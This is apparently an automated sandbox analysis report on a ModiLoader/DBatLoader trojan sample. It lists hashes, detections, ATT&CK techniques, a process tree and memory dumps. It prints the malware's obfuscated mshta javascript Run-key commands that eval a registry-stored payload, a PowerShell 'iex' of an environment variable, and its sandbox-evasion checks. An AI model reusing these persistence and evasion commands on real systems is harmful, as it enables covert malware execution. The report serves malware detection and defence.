modiloader | 8641e15c78f1ce0512d18e2bf90539ff8df008e4092b001cda6ca0cebd99ae25

General

Target

8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe
Size

274KB
MD5

9c4211d39decc16081148906357cb7c1
SHA1

3af2dacd93722f979a5dd7cf62775fe96d53ebbd
SHA256

8641e15c78f1ce0512d18e2bf90539ff8df008e4092b001cda6ca0cebd99ae25
SHA512

b01ab246c0223414e83c38a3c839ce5fb1ca23a3f0c63d0f17b54de4a3c8a2131e683d775efc529c7dd4fae3210f2e7e9f16dc404a8ddbc6d31c03afc0cc3ad5

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1996 1956 mshta.exe
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
evasion

File and Directory Discovery
T1083

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1996	1956	mshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

description	ioc	process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 14 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1656-57-0x0000000000402E54-mapping.dmp	modiloader_stage2
behavioral1/memory/1656-56-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral1/memory/1656-59-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral1/memory/1656-64-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral1/memory/1656-65-0x0000000001DF0000-0x0000000001EB2000-memory.dmp	modiloader_stage2
behavioral1/memory/1656-67-0x0000000001DF0000-0x0000000001EB2000-memory.dmp	modiloader_stage2
behavioral1/memory/472-70-0x00000000024E0000-0x000000000312A000-memory.dmp	modiloader_stage2
behavioral1/memory/472-71-0x0000000005D30000-0x0000000005DF2000-memory.dmp	modiloader_stage2
behavioral1/memory/472-75-0x0000000005D30000-0x0000000005DF2000-memory.dmp	modiloader_stage2
behavioral1/memory/1356-77-0x00000000001A0000-0x0000000000262000-memory.dmp	modiloader_stage2
behavioral1/memory/1396-80-0x00000000001D0000-0x0000000000292000-memory.dmp	modiloader_stage2
behavioral1/memory/1656-81-0x0000000001DF0000-0x0000000001EB2000-memory.dmp	modiloader_stage2
behavioral1/memory/1356-82-0x00000000001A0000-0x0000000000262000-memory.dmp	modiloader_stage2
behavioral1/memory/1396-83-0x00000000001D0000-0x0000000000292000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:xyDC4yNk=\"Wm\";e6q=new%20ActiveXObject(\"WScript.Shell\");O5wVVQ5la=\"g\";w0lP6e=e6q.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\62d02d1b9a\\\\b0231e61\");C9ZYbNPT=\"GgBoOf\";eval(w0lP6e);kkf7mZV2u=\"4v\";"	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

1356 regsvr32.exe

pid	process
1356	regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:UY8yJUcn3=\"i\";Q13l=new%20ActiveXObject(\"WScript.Shell\");hcQm7iLR=\"5sxtuJ3\";z6ieF=Q13l.RegRead(\"HKCU\\\\software\\\\62d02d1b9a\\\\b0231e61\");woM8z7Ql=\"67Jzp\";eval(z6ieF);fd1YclTti=\"FxhRD\";"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:TH6taazXm7=\"K6H2SlZv\";q0X=new%20ActiveXObject(\"WScript.Shell\");fUDXFW4=\"U42LrY\";Yu1VC=q0X.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\62d02d1b9a\\\\b0231e61\");joN4hljuG=\"zZcdxklM\";eval(Yu1VC);dchLZN45W=\"Y7w\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe

description	pid	process	target process
PID 1728 set thread context of 1656	1728	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

regsvr32.exemshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeregsvr32.exe

pid	process
472	powershell.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe
1356	regsvr32.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

powershell.exeregsvr32.exe

pid process

472 powershell.exe
472 powershell.exe
472 powershell.exe
1356 regsvr32.exe
1356 regsvr32.exe
1356 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 472 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe

pid process

1728 8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe

description	pid	process
Token: SeDebugPrivilege	472	powershell.exe

pid	process
1728	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe

Suspicious use of WriteProcessMemory 29 IoCs

Processes:

8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exemshta.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 1728 wrote to memory of 1656	1728	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe
PID 1728 wrote to memory of 1656	1728	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe
PID 1728 wrote to memory of 1656	1728	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe
PID 1728 wrote to memory of 1656	1728	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe
PID 1728 wrote to memory of 1656	1728	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe
PID 1728 wrote to memory of 1656	1728	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe
PID 1728 wrote to memory of 1656	1728	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe
PID 1728 wrote to memory of 1656	1728	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe
PID 1728 wrote to memory of 1656	1728	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe
PID 1728 wrote to memory of 1656	1728	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe
PID 1728 wrote to memory of 1656	1728	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe	8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe
PID 1996 wrote to memory of 472	1996	mshta.exe	powershell.exe
PID 1996 wrote to memory of 472	1996	mshta.exe	powershell.exe
PID 1996 wrote to memory of 472	1996	mshta.exe	powershell.exe
PID 1996 wrote to memory of 472	1996	mshta.exe	powershell.exe
PID 472 wrote to memory of 1356	472	powershell.exe	regsvr32.exe
PID 472 wrote to memory of 1356	472	powershell.exe	regsvr32.exe
PID 472 wrote to memory of 1356	472	powershell.exe	regsvr32.exe
PID 472 wrote to memory of 1356	472	powershell.exe	regsvr32.exe
PID 472 wrote to memory of 1356	472	powershell.exe	regsvr32.exe
PID 472 wrote to memory of 1356	472	powershell.exe	regsvr32.exe
PID 472 wrote to memory of 1356	472	powershell.exe	regsvr32.exe
PID 1356 wrote to memory of 1396	1356	regsvr32.exe	regsvr32.exe
PID 1356 wrote to memory of 1396	1356	regsvr32.exe	regsvr32.exe
PID 1356 wrote to memory of 1396	1356	regsvr32.exe	regsvr32.exe
PID 1356 wrote to memory of 1396	1356	regsvr32.exe	regsvr32.exe
PID 1356 wrote to memory of 1396	1356	regsvr32.exe	regsvr32.exe
PID 1356 wrote to memory of 1396	1356	regsvr32.exe	regsvr32.exe
PID 1356 wrote to memory of 1396	1356	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe
"C:\Users\Admin\AppData\Local\Temp\8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1728

C:\Users\Admin\AppData\Local\Temp\8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe
"C:\Users\Admin\AppData\Local\Temp\8641E15C78F1CE0512D18E2BF90539FF8DF008E4092B0.exe"
2⤵
PID:1656

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:cyko2Bu0un="i0hUY7";d5g7=new%20ActiveXObject("WScript.Shell");OjRl4xt="npmLwNMga";J6bif=d5g7.RegRead("HKLM\\software\\Wow6432Node\\l2fR0duM\\Ci9qlFn5Q");JkJaITi7="e5w1L6U6O";eval(J6bif);Ri8ygMQR4M="6t9mbt8kM5";
1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1996

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:wkipf
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:472

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1356

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:1396

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

2

T1060

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

3

T1497

Modify Registry

3

T1112

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

3

T1497

File and Directory Discovery

1

T1083

System Information Discovery

3

T1082

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/472-66-0x0000000073F70000-0x000000007451B000-memory.dmp

Filesize
5.7MB

Download
memory/472-75-0x0000000005D30000-0x0000000005DF2000-memory.dmp

Filesize
776KB

Download
memory/472-73-0x0000000073F70000-0x000000007451B000-memory.dmp

Filesize
5.7MB

Download
memory/472-71-0x0000000005D30000-0x0000000005DF2000-memory.dmp

Filesize
776KB

Download
memory/472-70-0x00000000024E0000-0x000000000312A000-memory.dmp

Filesize
12.3MB

Download
memory/472-62-0x0000000000000000-mapping.dmp

Download
memory/472-69-0x00000000029A2000-0x00000000029B2000-memory.dmp

Filesize
64KB

Download
memory/472-68-0x0000000073F70000-0x000000007451B000-memory.dmp

Filesize
5.7MB

Download
memory/1356-77-0x00000000001A0000-0x0000000000262000-memory.dmp

Filesize
776KB

Download
memory/1356-76-0x0000000000710000-0x0000000000717000-memory.dmp

Filesize
28KB

Download
memory/1356-82-0x00000000001A0000-0x0000000000262000-memory.dmp

Filesize
776KB

Download
memory/1356-72-0x0000000000000000-mapping.dmp

Download
memory/1396-83-0x00000000001D0000-0x0000000000292000-memory.dmp

Filesize
776KB

Download
memory/1396-80-0x00000000001D0000-0x0000000000292000-memory.dmp

Filesize
776KB

Download
memory/1396-78-0x0000000000000000-mapping.dmp

Download
memory/1656-57-0x0000000000402E54-mapping.dmp

Download
memory/1656-56-0x0000000000400000-0x0000000000436000-memory.dmp

Filesize
216KB

Download
memory/1656-59-0x0000000000400000-0x0000000000436000-memory.dmp

Filesize
216KB

Download
memory/1656-67-0x0000000001DF0000-0x0000000001EB2000-memory.dmp

Filesize
776KB

Download
memory/1656-60-0x0000000076681000-0x0000000076683000-memory.dmp

Filesize
8KB

Download
memory/1656-81-0x0000000001DF0000-0x0000000001EB2000-memory.dmp

Filesize
776KB

Download
memory/1656-64-0x0000000000400000-0x0000000000436000-memory.dmp

Filesize
216KB

Download
memory/1656-65-0x0000000001DF0000-0x0000000001EB2000-memory.dmp

Filesize
776KB

Download
memory/1996-61-0x000007FEFC0D1000-0x000007FEFC0D3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads